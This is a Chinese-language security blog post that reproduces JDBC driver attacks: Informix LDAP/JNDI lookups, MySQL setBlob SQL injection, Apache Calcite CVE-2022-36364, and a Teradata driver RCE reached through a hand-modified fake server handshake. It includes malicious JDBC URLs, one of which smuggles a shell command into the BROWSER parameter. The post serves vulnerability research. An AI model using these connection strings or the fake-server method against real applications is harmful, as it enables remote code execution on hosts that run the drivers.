1
没有把整个 PPT 复现完,复现了一个通宵,突然开始两眼一黑,感觉没啥太用处,就摆烂了~
IBM Informix组件
不成功的 JNDI
首先是这个 JNDI:
看PPT说没触发,调了很久,我本人喜欢看些没用的,从过程开始一点点研究
代码:
1 | DriverManager.registerDriver(new com.informix.jdbc.IfxDriver()); |
首先这个 ldap://127.0.0.1/ 后面是不能有 path 的,有 path 连ldap请求都不发了。
然后贴一下过程:
首先是这里:
com.informix.asf.Connection#getServerInfoFromSqlhost
然后一路 com.informix.jns.LdapSqlhosts#getServer
这里 lbase 传入 search:
这里有个点,就是传入 getURLOrDefaultInitDirCtx 的name如果前缀可控的话,是可以控制协议的,就可以发 rmi 了:
可是如上上张图中他在 sname 前面拼接了 cn=
,这就扯犊子了,那就只能用默认的 ldapCtx 了。
然后一路往下到:
com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
这里有个问题,就是用上面的 LDAP_URL 压根进不来这个 if,那怎么办呢?这里改一改:
1 | jdbc:informix-sqli:informixserver=ser;SQLH_TYPE=LDAP;LDAP_URL=ldap://127.0.0.1:1389/;LDAP_IFXBASE=cn=Evil/Object |
然后需要修改一下 JNDI-Inject-Exloit:
这样就能接到请求了:
但是,其实他返回 Reference 后,就没有后续操作了:
所以返回了好像也没啥用,所以 PPT 上说没有触发,不知道是不是这个原因。
然后最后返回到这个函数:
com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#search(javax.naming.Name, java.lang.String, javax.naming.directory.SearchControls)
这里判断了如果不是 PartialCompositeContext 这个类就抛出异常了,所以就G了~
(但是其实不是很清楚 LDAP 的攻击原理,可能理解有误~)
版本比较
值得一提的是,根据 SQLH_TYPE 获取不同的类进行请求验证的地方在这里:
com.informix.jns.Sqlhosts#Sqlhosts
上面这张图来自
1 | <version>4.50.1</version> |
再来一张最新版:
1 | <version>4.50.10</version> |
可以看到升级版本以后好像都不给用 LDAP 了。
IBM DB2 JCC
就是一个参数指向文件,感觉没啥的,没复现出来,。
Mysql JDBC setBlob SQL 注入
其实应该就是宽字节注入的原理,用的也是 伪预编译,往数据库发送的还是一整串的SQL语句。
PPT里没说函数位置,函数位置:
com.mysql.cj.jdbc.PreparedStatement#execute
这个 fillSendPacket 就是把 SQL 语句造出来:
1 | com.mysql.cj.jdbc.PreparedStatement#fillSendPacket(byte[][], java.io.InputStream[], boolean[], int[]) |
然后如果是流的话就进入 streamToBytes:
然后报错了:
后来发现了问题了,我的表要是这样的:
这是我的代码:
1 | package org.example.mysql_sql_inject; |
(说实话,非常鸡肋,不太值得复现感觉~
Apache Calcite
这个的话是有个 CVE :CVE-2022-36364
然后版本要在 1.21.0 及以下:
https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica-core/1.21.0
用 PolicyFile 类可以读取一行:
看一下大概原理,原理也很简单,常规的 connect 后一路往下走进入:
1 | org.apache.calcite.avatica.remote.Driver#createService |
然后如果 url 不为空就进入 HttpClient,然后到:
1 | org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient |
这里的 httpClientClass 就是获取的 httpclient_impl 参数,然后:
获取 URL 参数的构造方法然后把 url 传进去。
关于 JDBC 利用 Teradata JDBC Driver 的 RCE
这里先单独复现一个议题里的这个:
其实我都没见过这个 Teradata,我也不知道实战中能不能遇见,但是我非常犟,他不提供上门哪个 fake Teradata,我就想自己试试看,结果搞了一天,瞎搞搞尽然搞出来的,此处写一下瞎搞的过程~
漏洞点
先简单说一下漏洞点:
就是在
com.teradata.jdbc.jdbc.GenericTeradataConnection#GenericTeradataConnection
这个函数里:
如果 Mech 是BROWSER,那么就获取 BROWSER 参数,然后在下面执行:
发现问题
首先获取最先一个正常的握手字节码,就是先直接去注册个 Teradata ,然后下载一个虚拟机,然后用 wireshark 就能获取到一个稍微正常的包了,当然肯定也会连接失败。
把这一段复制下来,然后看程序报错,进入报错点:
这里报错是没有 Browser 这个 Mechanism(其实我觉得肯定可以在服务器添加一个 Machanism 然后就很方便了,但是我比较笨,资料又很少,实在没找到方法~~)
他这里判断了没有设置 m_gtwConfig
属性,全局找找哪里设置过,
找到函数:com.teradata.jdbc.jdbc.GenericLogonController#run
这里的设置了,这里的 getFlavor 其实就是数据包里的一个值,165 的话 16 进制就是 a5,默认是有的。
但是这里是已经解析好的 parcel 了,说明在上面的 nextParcel 应该是从数据包,也就是返回的字节码中获取解析的,跟进 nextParcel 能跟到:
com.teradata.jdbc.jdbc_4.parcel.GtwConfigParcel#determineFeatureSupport
这里当15的时候,就会设置我们最关键的两个值 m_sIdentityProviderClientID 和 m_sIdentityProviderURL,但是有个问题是默认情况下服务器是没有设置这两个值的,所以我们刚刚拿到的包就要改改了~
修改数据包
首先这里是刚刚提到的 165,也就是 a5 之后,那么就找到一个 a5,做个截断,方便看:
注意这里虽然我分开了,但是我用的是 +=
做的拼接。
然后仔细观察以后会发现 s1 这里有 1 2 3 4 5 。。。。这些的,这里在数据包里标出来:
我们需要改成 15,也就是000f,这里运气很好,当我把 0003 改成 000f 之后:
改了之后,2之后就直接变成15了,之所以选择3这里,是因为我发现把这里改了,其他点完全没有任何影响并且能顺利的执行到:
此处离代码执行点只差最后一点,我们把这个控制成一段 http 地址就行了~
并且这个乱码看起来好像太短了,都不够填充成一个 http 地址的,所以要长一点
那么就好办了(也不是很好办),找到赋值这个 URL 的点,看看:
进去这个 getStringUTF8 以后会发现参数 paramInt 的值是 6,直接去数据包,在0000f 后面找到第一个 0006,修改成 1a 吧,就是 26,然后再次启动服务器,进行调试:
成功了,现在 url 可以变成很长了,然后看看这个 url 的第一个字节是多少,改掉那个位置,测试一下(不要新增字节就好了)。
举个例子:
找到刚刚的 1a后面,替换成61,也就是 “a” 这个字节码。
但是有个问题,就是这里读取长度是001a,但是读取字符串会把00读取进来:
这是不行的,因为肯定要以 http 开头嘛。但是如果把 00 改成 61 的话,他就要读取611a 这么长了,这样肯定也不行。
那么怎么办呢,我们可以让他读取的位置向后偏移一个,
在URL上面还有个读取ClientID的,重新看回data:
000f 后面第二个 0004 改成 0005,然后在后面那个 1a,本来是1a0061,现在变成001a61:
成功了~
然后现在还需要最后一步,现在这样会有一个问题:
这个问题是由于刚刚改了个offset,导致往下读之后 offset 过大了,然后他判断之后就超出了 limit 了。
有个简单的方法,回到刚刚能正常执行,但是 URL 是乱码的数据,然后 DEBUG:
在读取完地址后继续执行,直到退出函数的时候,看看当前的 position:
执行完这次,这个函数就退出了,这个时候设置position为 673+97 = 770,
然后再看我们当 s1 是 15 的时候的 position:
15就是我们手动改的那个 000f,此时往下执行就会赋值 URL,然后这个时候会发现这个 s2 是 0004,这个是无关紧要的,他只参与 position 的运算,所以这里有个方法,就是直接把 s2 改大,改到加上当前的 posistion 刚好是 770,提前退出,也就是 770 - 663:
改完这三个点,现在基本就可控了,然后
然后还有个小问题就是 URL里不能有 00 的:
直接在 data 里把 00 换成 23 就好了,但是不能换太多了,把该换的换了就好。
然后替换掉刚刚的616263那块地方往后,然后就是一定要替换相同长度的,比如我上面这串字符串48位,我就替换48位的就好了:
成功收到请求,那么现在只需要简单写一个 flask:
1 | from flask import Flask |
然后最终 exp:
1 | import socket |
服务器连接 JDBC:
1 | jdbc:teradata://127.0.0.1/LOGMECH=BROWSER,BROWSER='open -a calculator' |
完成啦~~~
Bypass 高版本
最后,PPT 提到可以利用上面的当个链子,在 Java17 里TemplatesImpl用不了,贴一张ppt上的图:
可以调用 TeraDataSource 下的 getConnection,然后之后的流程就和上面的一样执行代码了~